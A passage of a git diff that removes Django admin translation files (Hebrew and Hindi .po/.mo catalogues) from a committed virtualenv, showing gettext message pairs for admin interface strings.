entered. You should receive them shortly." -msgstr "" -"שלחנו לך הוראות לקביעת הססמה, בהנחה שקיים חשבון עם כתובת הדואר האלקטרוני " -"שהזנת. ההוראות אמורות להתקבל בקרוב." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"אם לא קיבלת דואר אלקטרוני, נא לוודא שהזנת את הכתובת שנרשמת עימה ושההודעה לא " -"נחתה בתיקיית דואר הזבל." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"הודעה זו נשלחה אליך עקב בקשתך לאיפוס הסיסמה עבור המשתמש שלך באתר " -"%(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "נא להגיע לעמוד הבא ולבחור סיסמה חדשה:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "תודה על השימוש באתר שלנו!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "צוות %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"שכחת את הססמה שלך? נא להזין את כתובת הדואר האלקטרוני מתחת ואנו נשלח הוראות " -"לקביעת ססמה חדשה." - -msgid "Email address:" -msgstr "כתובת דוא\"ל:" - -msgid "Reset my password" -msgstr "אפס את סיסמתי" - -msgid "Select all objects on this page for an action" -msgstr "בחירת כל האובייקטים בעמוד זה עבור פעולה" - -msgid "All dates" -msgstr "כל התאריכים" - -#, python-format -msgid "Select %s" -msgstr "בחירת %s" - -#, python-format -msgid "Select %s to change" -msgstr "בחירת %s לשינוי" - -#, python-format -msgid "Select %s to view" -msgstr "בחירת %s לצפיה" - -msgid "Date:" -msgstr "תאריך:" - -msgid "Time:" -msgstr "שעה:" - -msgid "Lookup" -msgstr "חפש" - -msgid "Currently:" -msgstr "נוכחי:" - -msgid "Change:" -msgstr "שינוי:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 265d261b..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/djangojs.po deleted file mode 100644 index 1946efc7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/he/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,334 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# 534b44a19bf18d20b71ecc4eb77c572f_db336e9 , 2012 -# Jannis Leidel , 2011 -# Meir Kriheli , 2011-2012,2014-2015,2017,2020,2023 -# Yaron Shahrabani , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Meir Kriheli , " -"2011-2012,2014-2015,2017,2020,2023\n" -"Language-Team: Hebrew (http://app.transifex.com/django/django/language/he/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: he\n" -"Plural-Forms: nplurals=4; plural=(n == 1 && n % 1 == 0) ? 0 : (n == 2 && n % " -"1 == 0) ? 1: (n % 10 == 0 && n % 1 == 0 && n > 10) ? 2 : 3;\n" - -#, javascript-format -msgid "Available %s" -msgstr "אפשרויות %s זמינות" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"זו רשימת %s הזמינים לבחירה. ניתן לבחור חלק ע\"י סימון בתיבה מתחת ולחיצה על " -"חץ \"בחר\" בין שתי התיבות." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "ניתן להקליד בתיבה זו כדי לסנן %s." - -msgid "Filter" -msgstr "סינון" - -msgid "Choose all" -msgstr "בחירת הכל" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "בחירת כל ה%s בבת אחת." - -msgid "Choose" -msgstr "בחר" - -msgid "Remove" -msgstr "הסרה" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s אשר נבחרו" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"זו רשימת %s אשר נבחרו. ניתן להסיר חלק ע\"י בחירה בתיבה מתחת ולחיצה על חץ " -"\"הסרה\" בין שתי התיבות." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "ניתן להקליד בתיבה זו כדי לסנן את רשימת %s הנבחרים." - -msgid "Remove all" -msgstr "הסרת הכל" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "הסרת כל %s אשר נבחרו בבת אחת." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "אפשרות נבחרת %s אינה גלויה." -msgstr[1] "%s אפשרויות נבחרות אינן גלויות." -msgstr[2] "%s אפשרויות נבחרות אינן גלויות." -msgstr[3] "%s אפשרויות נבחרות אינן גלויות." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s מ %(cnt)s נבחרות" -msgstr[1] "%(sel)s מ %(cnt)s נבחרות" -msgstr[2] "%(sel)s מ %(cnt)s נבחרות" -msgstr[3] "%(sel)s מ %(cnt)s נבחרות" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"יש לך שינויים שלא נשמרו על שדות יחידות. אם אתה מפעיל פעולה, שינויים שלא " -"נשמרו יאבדו." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"בחרת פעולה, אך לא שמרת עדיין את השינויים לשדות בודדים. נא ללחוץ על אישור כדי " -"לשמור. יהיה עליך להפעיל את הפעולה עוד פעם." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"בחרת פעולה, אך לא ביצעת שינויים בשדות. כנראה חיפשת את כפתור בצע במקום כפתור " -"שמירה." - -msgid "Now" -msgstr "כעת" - -msgid "Midnight" -msgstr "חצות" - -msgid "6 a.m." -msgstr "6 בבוקר" - -msgid "Noon" -msgstr "12 בצהריים" - -msgid "6 p.m." -msgstr "6 אחר הצהריים" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "הערה: את/ה %s שעה לפני זמן השרת." -msgstr[1] "הערה: את/ה %s שעות לפני זמן השרת." -msgstr[2] "הערה: את/ה %s שעות לפני זמן השרת." -msgstr[3] "הערה: את/ה %s שעות לפני זמן השרת." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "הערה: את/ה %s שעה אחרי זמן השרת." -msgstr[1] "הערה: את/ה %s שעות אחרי זמן השרת." -msgstr[2] "הערה: את/ה %s שעות אחרי זמן השרת." -msgstr[3] "הערה: את/ה %s שעות אחרי זמן השרת." - -msgid "Choose a Time" -msgstr "בחירת שעה" - -msgid "Choose a time" -msgstr "בחירת שעה" - -msgid "Cancel" -msgstr "ביטול" - -msgid "Today" -msgstr "היום" - -msgid "Choose a Date" -msgstr "בחירת תאריך" - -msgid "Yesterday" -msgstr "אתמול" - -msgid "Tomorrow" -msgstr "מחר" - -msgid "January" -msgstr "ינואר" - -msgid "February" -msgstr "פברואר" - -msgid "March" -msgstr "מרץ" - -msgid "April" -msgstr "אפריל" - -msgid "May" -msgstr "מאי" - -msgid "June" -msgstr "יוני" - -msgid "July" -msgstr "יולי" - -msgid "August" -msgstr "אוגוסט" - -msgid "September" -msgstr "ספטמבר" - -msgid "October" -msgstr "אוקטובר" - -msgid "November" -msgstr "נובמבר" - -msgid "December" -msgstr "דצמבר" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "ינו׳" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "פבר׳" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "מרץ" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "אפר׳" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "מאי" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "יונ׳" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "יול׳" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "אוג׳" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "ספט׳" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "אוק׳" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "נוב׳" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "דצמ׳" - -msgid "Sunday" -msgstr "ראשון" - -msgid "Monday" -msgstr "שני" - -msgid "Tuesday" -msgstr "שלישי" - -msgid "Wednesday" -msgstr "רביעי" - -msgid "Thursday" -msgstr "חמישי" - -msgid "Friday" -msgstr "שישי" - -msgid "Saturday" -msgstr "שבת" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "א" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "ב" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "ג" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "ד" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "ה" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "ו" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "ש" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "א" - -msgctxt "one letter Monday" -msgid "M" -msgstr "ב" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "ג" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "ד" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "ה" - -msgctxt "one letter Friday" -msgid "F" -msgstr "ו" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "ש" - -msgid "Show" -msgstr "הצג" - -msgid "Hide" -msgstr "הסתר" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/django.mo deleted file mode 100644 index a2c4c7d8..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/django.po deleted file mode 100644 index 51935397..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/django.po +++ /dev/null @@ -1,706 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# alkuma , 2013 -# Chandan kumar , 2012 -# Jannis Leidel , 2011 -# Pratik , 2013 -# Sandeep Satavlekar , 2011 -# Vaarun Sinha, 2022 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-07-25 07:05+0000\n" -"Last-Translator: Vaarun Sinha\n" -"Language-Team: Hindi (http://www.transifex.com/django/django/language/hi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hi\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "चुने हुए %(verbose_name_plural)s हटा दीजिये " - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s सफलतापूर्वक हटा दिया गया है |" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s नहीं हटा सकते" - -msgid "Are you sure?" -msgstr "क्या आप निश्चित हैं?" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "सभी" - -msgid "Yes" -msgstr "हाँ" - -msgid "No" -msgstr "नहीं" - -msgid "Unknown" -msgstr "अनजान" - -msgid "Any date" -msgstr "कोई भी तारीख" - -msgid "Today" -msgstr "आज" - -msgid "Past 7 days" -msgstr "पिछले 7 दिन" - -msgid "This month" -msgstr "इस महीने" - -msgid "This year" -msgstr "इस साल" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -msgid "Empty" -msgstr "" - -msgid "Not empty" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"कृपया कर्मचारी खाते का सही %(username)s व कूटशब्द भरें। भरते समय दीर्घाक्षर और लघु अक्षर " -"का खयाल रखें।" - -msgid "Action:" -msgstr " क्रिया:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "एक और %(verbose_name)s जोड़ें " - -msgid "Remove" -msgstr "निकालें" - -msgid "Addition" -msgstr "" - -msgid "Change" -msgstr "बदलें" - -msgid "Deletion" -msgstr "" - -msgid "action time" -msgstr "कार्य के लिए समय" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "वस्तु की आईडी " - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "वस्तु का निरूपण" - -msgid "action flag" -msgstr "कार्य ध्वज" - -msgid "change message" -msgstr "परिवर्तन सन्देश" - -msgid "log entry" -msgstr "लॉग प्रविष्टि" - -msgid "log entries" -msgstr "लॉग प्रविष्टियाँ" - -#, python-format -msgid "Added “%(object)s”." -msgstr "" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "" - -msgid "LogEntry Object" -msgstr "LogEntry ऑब्जेक्ट" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "और" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "कोई क्षेत्र नहीं बदला" - -msgid "None" -msgstr "कोई नहीं" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "कार्रवाई हेतु आयटम सही अनुक्रम में चुने जाने चाहिए | कोई आइटम नहीं बदले गये हैं." - -msgid "No action selected." -msgstr "कोई कार्रवाई नहीं चुनी है |" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s बढाएं" - -#, python-format -msgid "Change %s" -msgstr "%s बदलो" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "डेटाबेस त्रुटि" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s का परिवर्तन कामयाब हुआ |" -msgstr[1] "%(count)s %(name)s का परिवर्तन कामयाब हुआ |" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s चुने" -msgstr[1] "सभी %(total_count)s चुने " - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s में से 0 चुने" - -#, python-format -msgid "Change history: %s" -msgstr "इतिहास बदलो: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "ज्याँगो साइट प्रशासन" - -msgid "Django administration" -msgstr "ज्याँगो प्रशासन" - -msgid "Site administration" -msgstr "साइट प्रशासन" - -msgid "Log in" -msgstr "लॉगिन" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "पृष्ठ लापता" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "गृह" - -msgid "Server error" -msgstr "सर्वर त्रुटि" - -msgid "Server error (500)" -msgstr "सर्वर त्रुटि (500)" - -msgid "Server Error (500)" -msgstr "सर्वर त्रुटि (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "चयनित कार्रवाई चलाइये" - -msgid "Go" -msgstr "आगे बढ़े" - -msgid "Click here to select the objects across all pages" -msgstr "सभी पृष्ठों पर मौजूद वस्तुओं को चुनने के लिए यहाँ क्लिक करें " - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "तमाम %(total_count)s %(module_name)s चुनें" - -msgid "Clear selection" -msgstr "चयन खालिज किया जाये " - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s अनुप्रयोग के प्रतिरूप" - -msgid "Add" -msgstr "बढाएं" - -msgid "View" -msgstr "" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "उपयोगकर्ता का नाम और कूटशब्द दर्ज करें." - -msgid "Change password" -msgstr "पासवर्ड बदलें" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s प्रवोक्ता के लिए नयी कूटशब्द दर्ज करें ।" - -msgid "Welcome," -msgstr "आपका स्वागत है," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "दस्तावेज़ीकरण" - -msgid "Log out" -msgstr "लॉग आउट" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s बढाएं" - -msgid "History" -msgstr "इतिहास" - -msgid "View on site" -msgstr "साइट पे देखें" - -msgid "Filter" -msgstr "छन्नी" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "श्रेणीकरण से हटाये " - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "श्रेणीकरण प्राथमिकता : %(priority_number)s" - -msgid "Toggle sorting" -msgstr "टॉगल श्रेणीकरण" - -msgid "Delete" -msgstr "मिटाएँ" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' को मिटाने पर सम्बंधित वस्तुएँ भी मिटा दी " -"जाएगी, परन्तु आप के खाते में निम्नलिखित प्रकार की वस्तुओं को मिटाने की अनुमति नहीं हैं |" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' को हटाने के लिए उनसे संबंधित निम्नलिखित " -"संरक्षित वस्तुओं को हटाने की आवश्यकता होगी:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"क्या आप %(object_name)s \"%(escaped_object)s\" हटाना चाहते हैं? निम्नलिखित सभी " -"संबंधित वस्तुएँ नष्ट की जाएगी" - -msgid "Objects" -msgstr "" - -msgid "Yes, I’m sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "अनेक वस्तुएं हटाएँ" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"चयनित %(objects_name)s हटाने पर उस से सम्बंधित वस्तुएं भी हट जाएगी, परन्तु आपके खाते में " -"वस्तुओं के निम्नलिखित प्रकार हटाने की अनुमति नहीं है:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"चयनित %(objects_name)s को हटाने के पश्चात् निम्नलिखित संरक्षित संबंधित वस्तुओं को हटाने " -"की आवश्यकता होगी |" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"क्या आप ने पक्का तय किया हैं की चयनित %(objects_name)s को नष्ट किया जाये ? " -"निम्नलिखित सभी वस्तुएं और उनसे सम्बंधित वस्तुए भी नष्ट की जाएगी:" - -msgid "Delete?" -msgstr "मिटाएँ ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s द्वारा" - -msgid "Summary" -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr " कोई भी उपलब्ध नहीं" - -msgid "Unknown content" -msgstr "अज्ञात सामग्री" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "अपना पासवर्ड या उपयोगकर्ता नाम भूल गये हैं?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "तिथि / समय" - -msgid "User" -msgstr "उपभोक्ता" - -msgid "Action" -msgstr "कार्य" - -msgid "entry" -msgstr "" - -msgid "entries" -msgstr "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "सभी दिखाएँ" - -msgid "Save" -msgstr "सुरक्षित कीजिये" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "खोज" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s परिणाम" -msgstr[1] "%(counter)s परिणाम" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s कुल परिणाम" - -msgid "Save as new" -msgstr "नये सा सहेजें" - -msgid "Save and add another" -msgstr "सहेजें और एक और जोडें" - -msgid "Save and continue editing" -msgstr "सहेजें और संपादन करें" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "फिर से लॉगिन कीजिए" - -msgid "Password change" -msgstr "कूटशब्द बदलें" - -msgid "Your password was changed." -msgstr "आपके कूटशब्द को बदला गया है" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "कूटशब्द बदलें" - -msgid "Password reset" -msgstr "कूटशब्द पुनस्थाप" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "आपके कूटशब्द को स्थापित किया गया है । अब आप लॉगिन कर सकते है ।" - -msgid "Password reset confirmation" -msgstr "कूटशब्द पुष्टि" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "कृपया आपके नये कूटशब्द को दो बार दर्ज करें ताकि हम उसकी सत्याप्ती कर सकते है ।" - -msgid "New password:" -msgstr "नया कूटशब्द " - -msgid "Confirm password:" -msgstr "कूटशब्द पुष्टि कीजिए" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"कूटशब्द पुनस्थाप संपर्क अमान्य है, संभावना है कि उसे उपयोग किया गया है। कृपया फिर से कूटशब्द " -"पुनस्थाप की आवेदन करें ।" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"आपको यह डाक इसलिए आई है क्योंकि आप ने %(site_name)s पर अपने खाते का कूटशब्द बदलने का " -"अनुरोध किया था |" - -msgid "Please go to the following page and choose a new password:" -msgstr "कृपया निम्नलिखित पृष्ठ पर नया कूटशब्द चुनिये :" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "हमारे साइट को उपयोग करने के लिए धन्यवाद ।" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s दल" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "डाक पता -" - -msgid "Reset my password" -msgstr " मेरे कूटशब्द की पुनःस्थापना" - -msgid "All dates" -msgstr "सभी तिथियों" - -#, python-format -msgid "Select %s" -msgstr "%s चुनें" - -#, python-format -msgid "Select %s to change" -msgstr "%s के बदली के लिए चयन करें" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "तिथि:" - -msgid "Time:" -msgstr "समय:" - -msgid "Lookup" -msgstr "लुक अप" - -msgid "Currently:" -msgstr "फ़िलहाल - " - -msgid "Change:" -msgstr "बदलाव -" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/djangojs.mo deleted file mode 100644 index bb755ad1..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/djangojs.po deleted file mode 100644 index 78b49e7d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hi/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,217 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Chandan kumar , 2012 -# Jannis Leidel , 2011 -# Sandeep Satavlekar , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Hindi (http://www.transifex.com/django/django/language/hi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hi\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "उपलब्ध %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"यह उपलब्ध %s की सूची है. आप उन्हें नीचे दिए गए बॉक्स में से चयन करके कुछ को चुन सकते हैं और " -"उसके बाद दो बॉक्स के बीच \"चुनें\" तीर पर क्लिक करें." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "इस बॉक्स में टाइप करने के लिए नीचे उपलब्ध %s की सूची को फ़िल्टर करें." - -msgid "Filter" -msgstr "छानना" - -msgid "Choose all" -msgstr "सभी चुनें" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "एक ही बार में सभी %s को चुनने के लिए क्लिक करें." - -msgid "Choose" -msgstr "चुनें" - -msgid "Remove" -msgstr "हटाना" - -#, javascript-format -msgid "Chosen %s" -msgstr "चुनें %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"यह उपलब्ध %s की सूची है. आप उन्हें नीचे दिए गए बॉक्स में से चयन करके कुछ को हटा सकते हैं और " -"उसके बाद दो बॉक्स के बीच \"हटायें\" तीर पर क्लिक करें." - -msgid "Remove all" -msgstr "सभी को हटाएँ" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "एक ही बार में सभी %s को हटाने के लिए क्लिक करें." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s में से %(sel)s चुना गया हैं" -msgstr[1] "%(cnt)s में से %(sel)s चुने गए हैं" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your 